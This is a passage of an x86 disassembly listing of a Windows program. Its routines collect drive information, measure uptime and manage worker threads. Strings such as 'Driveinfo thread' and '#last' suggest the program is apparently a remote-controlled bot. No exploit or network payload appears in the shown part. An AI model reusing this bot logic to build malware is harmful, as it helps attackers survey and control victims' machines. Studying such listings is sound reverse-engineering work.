[ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown_0 ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; strcat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; strcat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset aS ; "%s" lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: sub_416ADB-D5p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2D0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2D0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2D0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call ds:dword_4170D0 ; GetTickCount sub eax, dword_41E2D0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: .text:004168C6p push ebp mov ebp, esp and dword_41E2F0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2F8, eax push offset dword_41E2D8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call ds:dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE38, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset aLast ; "#last" call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call ds:dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE30 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; strcpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2D8 call sub_409C6C pop ecx cmp dword_41E2F0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2F0 inc eax mov dword_41E2F0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2D8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2D8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call ds:dword_4170E0 ; TerminateThread push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call ds:dword_4170E0 ; TerminateThread push [ebp+var_19C] call ds:dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2D8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, 